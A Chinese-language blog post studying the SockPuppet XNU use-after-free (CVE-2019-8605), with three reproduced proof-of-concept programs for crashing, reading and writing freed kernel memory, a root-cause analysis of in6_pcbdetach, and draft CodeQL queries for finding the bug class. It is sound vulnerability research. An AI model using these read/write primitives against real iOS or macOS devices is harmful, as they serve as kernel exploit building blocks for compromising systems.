SockPuppet学习记录(一) : 漏洞分析

Basic

这个漏洞是由pj0的 nedwill 发现的,而且是一个品相极佳的可以用于越狱的漏洞,本文只是对漏洞进行分析,并且思考/尝试使用CodeQL对该类型漏洞覆盖。当然,在看了原作者的文章之后,才发现nedwill是利用Fuzzing的手段发现的这个漏洞,并且在挖掘读/写原语的时候也是借助了Fuzzing的手段,可以说十分的巧妙和高效了。

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled.png

poc

raw poc

在测试原始PoC获得的Crash信息如下:

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%201.png

原始PoC使用了raw socket触发,但是美中不足,这个方式必须要root权限才能触发。
(定制化sockaddr_in6 需要raw socket)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define IPPROTO_IP 0

#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }
#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }

int main() {
int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);
printf("res0: %d\n", s);
struct sockaddr_in6 sa1 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65000,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_LOOPBACK,
.sin6_scope_id = 0,
};
struct sockaddr_in6 sa2 = {
.sin6_len = sizeof(struct sockaddr_in6),
.sin6_family = AF_INET6,
.sin6_port = 65001,
.sin6_flowinfo = 3,
.sin6_addr = IN6_ADDR_ANY,
.sin6_scope_id = 0,
};

int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1));
printf("res1: %d\n", res);

unsigned char buffer[4] = {};
res = setsockopt(s, 41, 50, buffer, sizeof(buffer));
printf("res1.5: %d\n", res);

res = connect(s, (const sockaddr*)&sa2, sizeof(sa2));
printf("res2: %d\n", res);

close(s);
printf("done\n");
}

read

后续ned经过研究发现可以通过tcp socket方式触发,可以用于read free’d memroy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

/*
TCP-based reproducer for CVE-2019-8605
This has the benefit of being reachable from the app sandbox on iOS 12.2.
*/

#define IPV6_3542PKTINFO 46

int main() {
int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
printf("res0: %d\n", s);

unsigned char buffer[1] = {'\xaa'};
int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer));
printf("res1: %d\n", res);

res = disconnectx(s, 0, 0);
printf("res2: %d\n", res);

socklen_t buffer_len = sizeof(buffer);

//get sth from ...
res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len);
printf("res3: %d\n", res);
printf("got %d\n", buffer[0]);

close(s);
printf("done\n");
}

write

经过nedwill的Fuzzing测试,发现了write free’d memory 的PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//
// setoptshut.m
// ExploitDev
// TCP-based reproducer for CVE-2019-8605, using SONPX_SETOPTSHUT to do a
// write to the freed memory. Tested on iOS 12.2.
//
// Created by Ned Williamson on 6/17/19.
// Copyright © 2019 Ned Williamson. All rights reserved.
//

#import <UIKit/UIKit.h>
#import "AppDelegate.h"

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

#define IPV6_USE_MIN_MTU 42

int main(int argc, char * argv[]) {
while (1) {
int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
printf("res0: %d\n", s);

// Permit setsockopt after disconnecting (and freeing socket options)
struct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};
int res = setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));
printf("res1: %d\n", res);

int minmtu = -1;
res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
printf("res2: %d\n", res);

res = disconnectx(s, 0, 0);
printf("res3: %d\n", res);

// set, write sth...
res = setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
printf("res4: %d\n", res);

close(s);
printf("done\n");
}

@autoreleasepool {
return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class]));
}
}

bug analysis

根据漏洞描述,可以看到漏洞的 root cause如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void
in6_pcbdetach(struct inpcb *inp)
{
// ...
if (!(so->so_flags & SOF_PCBCLEARING)) {
struct ip_moptions *imo;
struct ip6_moptions *im6o;

inp->inp_vflag = 0;
if (inp->in6p_options != NULL) {
m_freem(inp->in6p_options);
inp->in6p_options = NULL; // <- good
}
ip6_freepcbopts(inp->in6p_outputopts); // <- bad
ROUTE_RELEASE(&inp->in6p_route);
// free IPv4 related resources in case of mapped addr
if (inp->inp_options != NULL) {
(void) m_free(inp->inp_options); // <- good
inp->inp_options = NULL;
}

漏洞路径 bsd/netinet6/in6_pcb.c ,协议族 AF_INET6 的处理函数,从函数名字来看是
断开连接时候会执行的一些操作(释放一些资源),但是释放之后忘记把指针置NULL,导致同一个套接字重连的时候又使用到了这个指针(悬垂指针)。
根据nedwill的描述,连接断开再set/get socketopt的场景可以触发。

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%202.png

进入函数之前有一个 socket so_flags 的检查,poc中的 setsockopt() 调用应该是为了能过进入漏洞逻辑设计的。

利用 socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); 这个poc,逻辑应该是:

  • 创建socket连接
  • setsockopt,为了后续可以进入漏洞代码分支,同时设置要读的数据
  • disconnectx 断开连接,触发 free 逻辑
  • getsockopt,读取已经释放的内存

写的逻辑类似,不过作者是找到了另外特殊的成员来完成写操作: SONPX_SETOPTSHUT

这个洞的品相太好了 :-)

how to find by QL

xnu database

可以从semmle官方网站下载

Analyzing large open source projects

about this bug

看起来是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int demo(p){

ptr, p2; // ....

free(ptr);
ptr = NULL;

m_free(p->p1); // vuln!

if(xxx){
freem(p2);
p2 = NULL;
}

}

释放了内存之后,没有对指针做置NULL处理。

  • 需要在同一个函数里,同一个代码块里。 锁的问题考虑吗?
  • 释放逻辑,正则匹配下, xxxfree, freexxx, releasexxx之类的

query 1

根据上面的描述,我们找到free 调用,且free调用下一行是特定的赋值表达式的情况:

1
2
3
4
5
6
7
8
import cpp

from FunctionCall call, AssignExpr e
where call.getTarget().getName().regexpMatch(".*free.*?") and
call.getEnclosingBlock() = e.getEnclosingBlock() and
e.getRValue().(Literal).getValue() = "0" and
call.getLocation().getStartLine() + 1 = e.getLocation().getStartLine()
select call, call.getEnclosingFunction().getName(), call.getArgument(0)

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%203.png

这里有一个问题,我尝试过 free调用的参数作为赋值表达式的左值 这条约束,但是加上之后就找不到任何结果了,如果有人知道原因还请指点一下 : )

query 2

上面query可以找到 free后是set NULL的代码段,如果想找不满足条件的,可以检测free逻辑下一行是不是 instance of AssignExpr,当然这样比较粗糙,会存在误报。

1
2
3
4
5
6
from FunctionCall call, Expr e
where call.getTarget().getName().regexpMatch(".*free.*?") and
call.getEnclosingBlock() = e.getEnclosingBlock() and
not(e instanceof AssignExpr ) and
call.getLocation().getStartLine() + 1 = e.getLocation().getStartLine()
select call, call.getEnclosingFunction().getName(), call.getArgument(0)

这样写,虽然可以找到目标代码,但是存在误报(优化TODO):

Issue%201806%20XNU%20Use-after-free%20due%20to%20stale%20pointer%20a2555a06c23846e09d40b51e696047aa/Untitled%204.png